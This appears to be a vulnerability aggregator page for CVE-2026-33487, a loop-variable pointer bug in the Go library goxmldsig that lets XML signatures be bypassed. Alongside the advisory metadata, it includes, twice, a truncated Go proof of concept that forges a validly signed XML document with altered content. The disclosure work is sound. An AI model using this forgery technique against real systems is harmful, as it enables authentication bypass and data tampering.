CVE-2026-33487
goxmldsig has validateSignature Loop Variable Capture Signature Bypass
goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable _ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop. goxmlsig version 1.6.0 contains a patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.5
goxmldsig has validateSignature Loop Variable Capture Signature Bypass
goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable _ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop. goxmlsig version 1.6.0 contains a patch.
- Record
CVE-2026-33487- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-347, CWE-682, CWE-347
- Updated
- 2026-11-02
EUVDEUVD-2026-16281
7.5
goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable _ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop. goxmlsig version 1.6.0 contains a patch.
- Record
EUVD-2026-16281- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-479m-364c-43vc
7.5
validateSignature Loop Variable Capture Signature Bypass in goxmldsig
Details
The validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable _ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop.
Technical Details
The code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.
As a result, any pointer to this variable will always point to the value of the last element processed by the loop, no matter which element matched the search criteria.
Using Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.
// goxmldsig/validate.go (Lines 309-313)
for _, _ref := range signedInfo.References {
if _ref.URI == "" || _ref.URI[1:] == idAttr {
ref = &_ref // <- Capture var address of loop
}
}
PoC
The PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"encoding/base64"
"fmt"
"math/big"
"time"
"github.com/beevik/etree"
dsig "github.com/russellhaering/goxmldsig"
)
func main() {
key, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
panic(err)
}
template := &x509.Certificate{
SerialNumber: big.NewInt(1),
NotBefore: time.Now().Add(-1 * time.Hour),
NotAfter: time.Now().Add(1 * time.Hour),
}
certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
if err != nil {
panic(err)
}
cert, _ := x509.ParseCertificate(certDER)
doc := etree.NewDocument()
root := doc.CreateElement("Root")
root.CreateAttr("ID", "target")
root.SetText("Malicious Content")
tlsCert := tls.Certificate{
Certificate: [][]byte{cert.Raw},
PrivateKey: key,
}
ks := dsig.TLSCertKeyStore(tlsCert)
signingCtx := dsig.NewDefaultSigningContext(ks)
sig, err := signingCtx.ConstructSignature(root, true)
if err != nil {
panic(err)
}
signedInfo := sig.FindElement("./SignedInfo")
existingRef := signedInfo.FindElement("./Reference")
existingRef.CreateAttr("URI", "#dummy")
originalEl := etree.NewElement("Root")
originalEl.CreateAttr("ID", "target")
originalEl.SetText("Original Content")
sig1, _ := signingCtx.ConstructSignature(originalEl, true)
ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()
signedInfo.InsertChildAt(existingRef.Index(), ref1)
c14n := signingCtx.Canonicalizer
detachedSI := signedInfo.Copy()
if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
}
canonicalBytes, err := c14n.Canonicalize(detachedSI)
if err != nil {
fmt.Println("c14n error:", err)
return
}
hash := signingCtx.Hash.New()
hash.Write(canonicalBytes)
digest := hash.Sum(nil)
rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
if err != nil {
panic(err)
}
sigVal := sig.FindElement("./SignatureValue")
sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))
certStore := &dsig.MemoryX509CertificateStore{
Roots: []*x509.Certificate{cert},
}
valCtx := dsig.NewDefaultValidationContext(certStore)
root.AddChild(sig)
doc.SetRoot(root)
str, _ :=…
- Record
GHSA-479m-364c-43vc- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-347, CWE-682
- Updated
- 2026-11-02
NVD
7.5
goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable _ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop. goxmlsig version 1.6.0 contains a patch.
- Record
CVE-2026-33487- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-347, CWE-682
- Updated
- 2026-11-02
OSV
7.5
goxmldsig has validateSignature Loop Variable Capture Signature Bypass
goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable _ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop. goxmlsig version 1.6.0 contains a patch.
- Record
CVE-2026-33487- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-347, CWE-682
- Updated
- 2026-11-02
OSVGHSA-479m-364c-43vc
7.5
validateSignature Loop Variable Capture Signature Bypass in goxmldsig
Details
The validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable _ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop.
Technical Details
The code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.
As a result, any pointer to this variable will always point to the value of the last element processed by the loop, no matter which element matched the search criteria.
Using Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.
// goxmldsig/validate.go (Lines 309-313)
for _, _ref := range signedInfo.References {
if _ref.URI == "" || _ref.URI[1:] == idAttr {
ref = &_ref // <- Capture var address of loop
}
}
PoC
The PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"encoding/base64"
"fmt"
"math/big"
"time"
"github.com/beevik/etree"
dsig "github.com/russellhaering/goxmldsig"
)
func main() {
key, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
panic(err)
}
template := &x509.Certificate{
SerialNumber: big.NewInt(1),
NotBefore: time.Now().Add(-1 * time.Hour),
NotAfter: time.Now().Add(1 * time.Hour),
}
certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
if err != nil {
panic(err)
}
cert, _ := x509.ParseCertificate(certDER)
doc := etree.NewDocument()
root := doc.CreateElement("Root")
root.CreateAttr("ID", "target")
root.SetText("Malicious Content")
tlsCert := tls.Certificate{
Certificate: [][]byte{cert.Raw},
PrivateKey: key,
}
ks := dsig.TLSCertKeyStore(tlsCert)
signingCtx := dsig.NewDefaultSigningContext(ks)
sig, err := signingCtx.ConstructSignature(root, true)
if err != nil {
panic(err)
}
signedInfo := sig.FindElement("./SignedInfo")
existingRef := signedInfo.FindElement("./Reference")
existingRef.CreateAttr("URI", "#dummy")
originalEl := etree.NewElement("Root")
originalEl.CreateAttr("ID", "target")
originalEl.SetText("Original Content")
sig1, _ := signingCtx.ConstructSignature(originalEl, true)
ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()
signedInfo.InsertChildAt(existingRef.Index(), ref1)
c14n := signingCtx.Canonicalizer
detachedSI := signedInfo.Copy()
if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
}
canonicalBytes, err := c14n.Canonicalize(detachedSI)
if err != nil {
fmt.Println("c14n error:", err)
return
}
hash := signingCtx.Hash.New()
hash.Write(canonicalBytes)
digest := hash.Sum(nil)
rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
if err != nil {
panic(err)
}
sigVal := sig.FindElement("./SignatureValue")
sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))
certStore := &dsig.MemoryX509CertificateStore{
Roots: []*x509.Certificate{cert},
}
valCtx := dsig.NewDefaultValidationContext(certStore)
root.AddChild(sig)
doc.SetRoot(root)
str, _ :=…
- Record
GHSA-479m-364c-43vc- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-347, CWE-682
- Updated
- 2026-11-02
Show 5 moreShow less
OSVROOT-APP-GOBINARY-CVE-2026-33487
7.5
CVE-2026-33487 in github.com/russellhaering/goxmldsig - Patched by Root
Root has patched CVE-2026-33487 in the github.com/russellhaering/goxmldsig package for Root:Go. Multiple fixed versions available.
- Record
ROOT-APP-GOBINARY-CVE-2026-33487- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
OSVGO-2026-4753 No score
Loop Variable Capture Signature Bypass in goxmldsig in github.com/russellhaering/goxmldsig
Loop Variable Capture Signature Bypass in goxmldsig in github.com/russellhaering/goxmldsig
- Record
GO-2026-4753- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11126-1 No score
velociraptor-0.7.0.4.git185.a5708584-2.1 on GA media
These are all security issues fixed in the velociraptor-0.7.0.4.git185.a5708584-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11126-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
- GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
- GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
- GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
- GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
- GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
- GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
- GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
- GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
- GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
- GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
- GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
- GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
- GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
- GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
- GO-2026-5933 GHSA-3g4q-2f67-2gvh
- GO-2026-5934 GHSA-59qp-cfj3-rp64
- GO-2026-5935 GHSA-7856-g3gv-9wq8
- GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
- GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
- GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
- GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
- GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
- GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
- GO-2026-5942 CVE-2026-46600
- GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
- GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
- GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
- GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
- GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
- GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
- GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
- GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
- GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
- GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
- GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
- GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
- GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
- GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
- GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
- GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
- GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
- GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
- GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
- GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
- GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
- GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
- GO-2026-5969 GHSA-g936-7jqj-mwv8
- GO-2026-5970 CVE-2026-56852
- GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
- GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
- GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
- GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
- GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
- GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
- GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
- GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
- GO-2026-5981 GHSA-mqxv-9rm6-w8qc
- GO-2026-5982 GHSA-pqg7-v6wh-3pfp
- GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
- GO-2026-5985 GHSA-7rx3-5wx3-5v76
- GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
- GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
- GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
- GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
- GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
- GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
- GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
- GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
- GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
- GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
- GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
- GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
- GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
- GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
- GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
- GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
- Record
openSUSE-SU-2026:21483-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:1205-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
Update to version 0.0.20260402T184258 2026-04-02T18:42:58Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-4518 CVE-2026-32286 GHSA-jqcq-xjh3-6g23
- GO-2026-4753 CVE-2026-33487 GHSA-479m-364c-43vc
- GO-2026-4760 GHSA-hwqm-qvj9-4jr2
- GO-2026-4762 CVE-2026-33186 GHSA-p77j-4mvh-x3m3
- GO-2026-4764 GHSA-pcgw-qcv5-h8ch
- GO-2026-4858 CVE-2026-33747 GHSA-4c29-8rgm-jvjj
- GO-2026-4859 CVE-2026-33748 GHSA-4vrq-3vrq-g6gg
- GO-2026-4863 GHSA-g9ww-x58f-9g6m
- GO-2026-4872 CVE-2026-33907 GHSA-55q8-2gwx-29pc
- GO-2026-4873 CVE-2026-33906 GHSA-87j9-m7x6-hvw2
- GO-2026-4874 CVE-2026-33904 GHSA-9h59-p45g-445h
- GO-2026-4875 CVE-2026-33903 GHSA-f2f3-9cx3-wcmf
- GO-2026-4876 GHSA-prh4-vhfh-24mj
- GO-2026-4880 CVE-2026-32695 GHSA-67jx-r9pv-98rj
- GO-2026-4883 CVE-2026-33997 GHSA-pxq6-2prw-chj9
- GO-2026-4887 CVE-2026-34040 GHSA-x744-4wpc-v9h2
- GO-2026-4888 CVE-2026-26060 GHSA-3458-r943-hmx4
- GO-2026-4889 CVE-2026-26061 GHSA-99hj-44vg-hfcp
- GO-2026-4890 CVE-2026-34042 GHSA-x34h-54cw-9825
- GO-2026-4891 CVE-2026-34041 GHSA-xmgr-9pqc-h5vw
- GO-2026-4892 CVE-2026-29180 GHSA-m2h6-4xpq-qw3m
- GO-2026-4893 CVE-2026-33433 GHSA-qr99-7898-vr7c
- GO-2026-4894 CVE-2026-32241 GHSA-vchx-5pr6-ffx2
- GO-2026-4896 CVE-2026-34204 GHSA-3rh2-v3gr-35p9
- GO-2026-4897 GHSA-46wh-3698-f2cx
- GO-2026-4899 GHSA-c279-989m-238f
- GO-2026-4901 CVE-2026-33030 GHSA-5hf2-vhj6-gj9m
- GO-2026-4902 CVE-2026-33029 GHSA-cp8r-8jvw-v3qg
- GO-2026-4903 CVE-2026-33026 GHSA-fhh2-gg7w-gwpq
- GO-2026-4904 CVE-2026-33032 GHSA-h6c2-x2m2-mwhf
- GO-2026-4905 CVE-2026-27018 GHSA-jjwv-57xh-xr6r
- GO-2026-4906 CVE-2026-33028 GHSA-m468-xcm6-fxg4
- GO-2026-4907 CVE-2026-33027 GHSA-m8p8-53vf-8357
- GO-2026-4911 CVE-2026-33990 GHSA-x2f5-332j-9xwq
- GO-2026-4912 CVE-2026-34389 GHSA-4f9r-x588-pp2h
- GO-2026-4913 CVE-2026-34386 GHSA-9p23-p2m4-2r4m
- GO-2026-4914 CVE-2026-34385 GHSA-v895-833r-8c45
- GO-2026-4915 CVE-2026-34388 GHSA-w254-4hp5-7cvv
- GO-2026-4916 CVE-2026-26233 GHSA-247x-7qw8-fp98
- GO-2026-4919 CVE-2026-33634 GHSA-69fq-xp46-6x23
- Record
SUSE-SU-2026:1205-1- Updated
- 2026-11-02
Affected products
- goxmldsig project goxmldsig
- russellhaering goxmldsig
- red hat multicluster global hub 1.3.4
- red hat multicluster global hub 1.4.5
- red hat multicluster global hub 1.6.5
- red hat advanced cluster management for kubernetes 2.14
- red hat advanced cluster management for kubernetes 2.15
- red hat advanced cluster security 4
- red hat enterprise linux 10
- red hat enterprise linux 8
- red hat enterprise linux 9
- red hat multicluster global hub 1.5.3
Show 2 moreShow less
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/russellhaering/goxmldsigGo |
through 1.5.0 | 1.6.0 |
github.com/russellhaering/goxmldsigGo |
before 1.6.0 | 1.6.0 |
github.com/russellhaering/goxmldsigRoot:Go |
before v1.5.0-aikido.1 | v1.5.0-aikido.1 |
rootio-github.com/russellhaering/goxmldsigRoot:Go |
before v1.5.0-root.io.1 | v1.5.0-root.io.1 |
govulncheck-vulndbopenSUSE:Leap 15.6 From an advisory covering 34 CVEs |
before 0.0.20260402T184258-150000.1.158.1 | 0.0.20260402T184258-150000.1.158.1 |
velociraptoropenSUSE:Tumbleweed From an advisory covering 49 CVEs |
before 0.7.0.4.git185.a5708584-2.1 | 0.7.0.4.git185.a5708584-2.1 |
govulncheck-vulndbopenSUSE:Leap 16.0 From an advisory covering 1734 CVEs |
before 0.0.20260723T184607-160000.1.1 | 0.0.20260723T184607-160000.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33487 is a high vulnerability (CVSS 7.5) in Goxmldsig Project Goxmldsig, published March 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 25th percentile. Fixed in github.com/russellhaering/goxmldsig 1.6.0.
References
github.com/russellhaering/goxmldsig/security/advisories/GHSA-479m-364c-43vc
access.redhat.com/security/cve/CVE-2026-33487
bugzilla.redhat.com/show_bug.cgi?id=2451814
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33487.json
access.redhat.com/errata/RHSA-2026:22423
access.redhat.com/errata/RHSA-2026:22347
Show 194 moreShow less
access.redhat.com/errata/RHSA-2026:23345
access.redhat.com/errata/RHSA-2026:36882
access.redhat.com/errata/RHSA-2026:13548
access.redhat.com/errata/RHSA-2026:20946
access.redhat.com/errata/RHSA-2026:20943
access.redhat.com/errata/RHSA-2026:21769
nvd.nist.gov/vuln/detail/CVE-2026-33487
github.com/advisories/GHSA-479m-364c-43vc
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33487.json
github.com/russellhaering/goxmldsig
suse.com/support/update/announcement/2026/suse-su-20261205-1
suse.com/security/cve/CVE-2026-26060
suse.com/security/cve/CVE-2026-26061
suse.com/security/cve/CVE-2026-26233
suse.com/security/cve/CVE-2026-27018
suse.com/security/cve/CVE-2026-29180
suse.com/security/cve/CVE-2026-32241
suse.com/security/cve/CVE-2026-32286
suse.com/security/cve/CVE-2026-32695
suse.com/security/cve/CVE-2026-33026
suse.com/security/cve/CVE-2026-33027
suse.com/security/cve/CVE-2026-33028
suse.com/security/cve/CVE-2026-33029
suse.com/security/cve/CVE-2026-33030
suse.com/security/cve/CVE-2026-33032
suse.com/security/cve/CVE-2026-33186
suse.com/security/cve/CVE-2026-33433
suse.com/security/cve/CVE-2026-33487
suse.com/security/cve/CVE-2026-33634
suse.com/security/cve/CVE-2026-33747
suse.com/security/cve/CVE-2026-33748
suse.com/security/cve/CVE-2026-33903
suse.com/security/cve/CVE-2026-33904
suse.com/security/cve/CVE-2026-33906
suse.com/security/cve/CVE-2026-33907
suse.com/security/cve/CVE-2026-33990
suse.com/security/cve/CVE-2026-33997
suse.com/security/cve/CVE-2026-34040
suse.com/security/cve/CVE-2026-34041
suse.com/security/cve/CVE-2026-34042
suse.com/security/cve/CVE-2026-34204
suse.com/security/cve/CVE-2026-34385
suse.com/security/cve/CVE-2026-34386
suse.com/security/cve/CVE-2026-34388
suse.com/security/cve/CVE-2026-34389
suse.com/security/cve/CVE-2023-45288
suse.com/security/cve/CVE-2024-45339
suse.com/security/cve/CVE-2025-13465
suse.com/security/cve/CVE-2025-22868
suse.com/security/cve/CVE-2025-22869
suse.com/security/cve/CVE-2025-22870
suse.com/security/cve/CVE-2025-22872
suse.com/security/cve/CVE-2025-24358
suse.com/security/cve/CVE-2025-47911
suse.com/security/cve/CVE-2025-58058
suse.com/security/cve/CVE-2025-58181
suse.com/security/cve/CVE-2025-58190
suse.com/security/cve/CVE-2025-5889
suse.com/security/cve/CVE-2025-64718
suse.com/security/cve/CVE-2025-6545
suse.com/security/cve/CVE-2025-6547
suse.com/security/cve/CVE-2025-7783
suse.com/security/cve/CVE-2026-1229
suse.com/security/cve/CVE-2026-25128
suse.com/security/cve/CVE-2026-25680
suse.com/security/cve/CVE-2026-25681
suse.com/security/cve/CVE-2026-26278
suse.com/security/cve/CVE-2026-26996
suse.com/security/cve/CVE-2026-27136
suse.com/security/cve/CVE-2026-2739
suse.com/security/cve/CVE-2026-27606
suse.com/security/cve/CVE-2026-27904
suse.com/security/cve/CVE-2026-33036
suse.com/security/cve/CVE-2026-33814
suse.com/security/cve/CVE-2026-34986
suse.com/security/cve/CVE-2026-39821
suse.com/security/cve/CVE-2026-39827
suse.com/security/cve/CVE-2026-39828
suse.com/security/cve/CVE-2026-39829
suse.com/security/cve/CVE-2026-39830
suse.com/security/cve/CVE-2026-39831
suse.com/security/cve/CVE-2026-39832
suse.com/security/cve/CVE-2026-39833
suse.com/security/cve/CVE-2026-39834
suse.com/security/cve/CVE-2026-39835
suse.com/security/cve/CVE-2026-42039
suse.com/security/cve/CVE-2026-42502
suse.com/security/cve/CVE-2026-42506
suse.com/security/cve/CVE-2026-42508
suse.com/security/cve/CVE-2026-46595
suse.com/security/cve/CVE-2026-46597
suse.com/security/cve/CVE-2026-46598
suse.com/security/cve/CVE-2016-11063
suse.com/security/cve/CVE-2016-11066
suse.com/security/cve/CVE-2016-11067
suse.com/security/cve/CVE-2016-11068
suse.com/security/cve/CVE-2016-11069
suse.com/security/cve/CVE-2016-11070
suse.com/security/cve/CVE-2016-11071
suse.com/security/cve/CVE-2016-11072
suse.com/security/cve/CVE-2016-11073
suse.com/security/cve/CVE-2016-11074
suse.com/security/cve/CVE-2016-11075
suse.com/security/cve/CVE-2016-11076
suse.com/security/cve/CVE-2016-11077
suse.com/security/cve/CVE-2016-11078
suse.com/security/cve/CVE-2016-11079
suse.com/security/cve/CVE-2016-11080
suse.com/security/cve/CVE-2016-11081
suse.com/security/cve/CVE-2016-11082
suse.com/security/cve/CVE-2016-11083
suse.com/security/cve/CVE-2016-11084
suse.com/security/cve/CVE-2017-18870
suse.com/security/cve/CVE-2017-18871
suse.com/security/cve/CVE-2017-18872
suse.com/security/cve/CVE-2017-18873
suse.com/security/cve/CVE-2017-18874
suse.com/security/cve/CVE-2017-18875
suse.com/security/cve/CVE-2017-18876
suse.com/security/cve/CVE-2017-18877
suse.com/security/cve/CVE-2017-18878
suse.com/security/cve/CVE-2017-18879
suse.com/security/cve/CVE-2017-18883
suse.com/security/cve/CVE-2017-18884
suse.com/security/cve/CVE-2017-18885
suse.com/security/cve/CVE-2017-18886
suse.com/security/cve/CVE-2017-18887
suse.com/security/cve/CVE-2017-18888
suse.com/security/cve/CVE-2017-18889
suse.com/security/cve/CVE-2017-18890
suse.com/security/cve/CVE-2017-18891
suse.com/security/cve/CVE-2017-18892
suse.com/security/cve/CVE-2017-18893
suse.com/security/cve/CVE-2017-18894
suse.com/security/cve/CVE-2017-18895
suse.com/security/cve/CVE-2017-18896
suse.com/security/cve/CVE-2017-18897
suse.com/security/cve/CVE-2017-18898
suse.com/security/cve/CVE-2017-18900
suse.com/security/cve/CVE-2017-18901
suse.com/security/cve/CVE-2017-18902
suse.com/security/cve/CVE-2017-18903
suse.com/security/cve/CVE-2017-18904
suse.com/security/cve/CVE-2017-18905
suse.com/security/cve/CVE-2017-18906
suse.com/security/cve/CVE-2017-18907
suse.com/security/cve/CVE-2017-18908
suse.com/security/cve/CVE-2017-18909
suse.com/security/cve/CVE-2017-18911
suse.com/security/cve/CVE-2017-18912
suse.com/security/cve/CVE-2017-18915
suse.com/security/cve/CVE-2017-18916
suse.com/security/cve/CVE-2017-18917
suse.com/security/cve/CVE-2017-18918
suse.com/security/cve/CVE-2018-21258
suse.com/security/cve/CVE-2019-8400
suse.com/security/cve/CVE-2021-25320
suse.com/security/cve/CVE-2022-45786
suse.com/security/cve/CVE-2023-26154
suse.com/security/cve/CVE-2023-32199
suse.com/security/cve/CVE-2023-34620
suse.com/security/cve/CVE-2023-43630
suse.com/security/cve/CVE-2023-43631
